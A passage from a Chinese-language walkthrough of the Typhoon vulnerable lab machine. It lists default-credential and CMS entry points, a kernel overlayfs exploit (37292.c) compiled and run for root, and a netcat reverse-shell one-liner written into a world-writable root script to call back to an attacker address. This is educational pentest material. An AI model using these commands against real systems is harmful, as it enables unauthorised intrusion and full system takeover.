登陆成功，但是typhoon用户并没有超级用户权限。
Tomcat Manager
访问8080端口，登录manager webapp。尝试默认用户名和密码tomcat登录。
登录成功，上msf。
Drupal CMS & Lotus CMS
http://192.168.2.149/drupal/
http://192.168.2.149/cms/
这两个CMS都是有问题的版本，就直接用msf的payload打了。
其他
另外还可以通过/dvwa/、/xvwa/的命令注入练习getshell，系统都是默认账号和密码。
dvwa的是admin/password，xvwa的是admin/admin。
也可以登录/phpmyadmin/后台，通过包含日志的方式getshell，登录密码为默认的toor（也可以通过泄露的/dvwa/config/config.inc.php.bak备份文件查看密码）。
具体方式不再展开说了，有兴趣的同学可以自己尝试一下。
提权过程
利用内核
查看系统版本、内核信息：
typhoon@typhoon:~$ uname -a
Linux typhoon.local 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
typhoon@typhoon:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.1 LTS
Release: 14.04
Codename: trusty
系统是Ubuntu14.04，内核版本为3.13.0，searchsploit搜一下相关漏洞。
对应的系统、内核刚好有一个利用overlayfs的exploit，下下来放到靶机上。
# 复制exploit到当前目录
root@Shockwave:~/exploits# searchsploit -m 37292.c

编译、赋权、运行一条龙。
typhoon@typhoon:~$ gcc 37292.c -o exploit

typhoon@typhoon:~$ ./exploit

可以看到顺利提权成功。通过内核提取最方便、快捷，但是局限性也很大。
利用可写文件
翻查目录文件，在/tab/目录下发现一个文件所有者为root、权限为777的sh文件。
typhoon@typhoon:/tab$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Dec 17 16:48 .
drwxr-xr-x 25 root root 4096 Oct 24 04:59 ..
-rwxrwxrwx 1 root root 71 Dec 17 16:48 script.sh
typhoon@typhoon:/tab$ cat script.sh
echo "Typhoon is UP!"
#<typh00n!> P0st_3xpl01t3R_flaqGq <typhoon!>
用低权限用户将构造的命令写入script.sh，令文件调用以root身份运行的/bin/sh，然后反弹shell，就可以获得root权限了。
写入反弹shell命令到script.sh中并执行。
typhoon@typhoon:/tab$ echo "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.104 8888 >/tmp/f" > script.sh
typhoon@typhoon:/tab$ ./script.sh
在服务器上开启监听，接收到shell。
root@Shockwave:~/exploits# nc -lvvp 8888

至此提权成功，利用完成。
